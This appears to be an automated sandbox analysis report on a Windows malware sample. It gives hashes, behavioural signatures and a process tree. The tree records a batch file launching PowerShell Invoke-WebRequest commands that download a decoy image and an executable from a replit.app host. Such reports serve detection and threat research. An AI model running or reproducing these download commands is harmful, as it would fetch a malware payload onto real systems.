Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    30-07-2024 18:09

General

  • Target

    8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe

  • Size

    288KB

  • MD5

    7e900eb50f9dc1cb5c68ffea4b9e7bcc

  • SHA1

    4dcc14dc2b98fbc171308fb55b5b8551dd96ea96

  • SHA256

    8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3

  • SHA512

    a77aeffc4f80358940e40789a67f67df5adc1bde4790a400665a98871498b10c3206981d3f18efa1149c9ec246f0343d133dd77de4f5a1f5816506a204276b1a

  • SSDEEP

    3072:6q6+ouCpk2mpcWJ0r+QNTBfRuk1qXkXRA4XTZK:6ldk1cWQRNTBpd8t

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe
    "C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1508
    • C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B2BC.tmp\B2BD.tmp\B2BE.bat C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2892
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1260
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2744

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\B2BC.tmp\B2BD.tmp\B2BE.bat

    Filesize

    334B

    MD5

    9aaac0122442ca0ebb4d8bb795e86676

    SHA1

    594744d8e4d51273dd435c3fac5799bc5f180e8c

    SHA256

    6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373

    SHA512

    d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    ec1e9a130a7b1d16eea467dfe59a5dc1

    SHA1

    f99553beb65312219fd37ee6038868a93f00b809

    SHA256

    8ea5b63a4e03df3447a5818863afb7ba63075260deb1a7c83432a0f743f451fe

    SHA512

    41d219d1f22bc92b208def39b1a6def51bb9f7b16587bf69ac485116209a8169493bf3f7d177acd905b9d978e95499992264855293a10811241366de28267d57

  • memory/1260-6-0x000007FEF6ACE000-0x000007FEF6ACF000-memory.dmp

    Filesize

    4KB

  • memory/1260-7-0x000000001B620000-0x000000001B902000-memory.dmp

    Filesize

    2.9MB

  • memory/1260-8-0x0000000002970000-0x0000000002978000-memory.dmp

    Filesize

    32KB

  • memory/1260-9-0x000007FEF6810000-0x000007FEF71AD000-memory.dmp

    Filesize

    9.6MB

  • memory/1260-12-0x0000000002C8B000-0x0000000002CF2000-memory.dmp

    Filesize

    412KB

  • memory/1260-11-0x0000000002C84000-0x0000000002C87000-memory.dmp

    Filesize

    12KB

  • memory/1260-10-0x000007FEF6810000-0x000007FEF71AD000-memory.dmp

    Filesize

    9.6MB

  • memory/1260-13-0x000007FEF6810000-0x000007FEF71AD000-memory.dmp

    Filesize

    9.6MB

  • memory/2744-19-0x000000001B5B0000-0x000000001B892000-memory.dmp

    Filesize

    2.9MB

  • memory/2744-20-0x00000000026E0000-0x00000000026E8000-memory.dmp

    Filesize

    32KB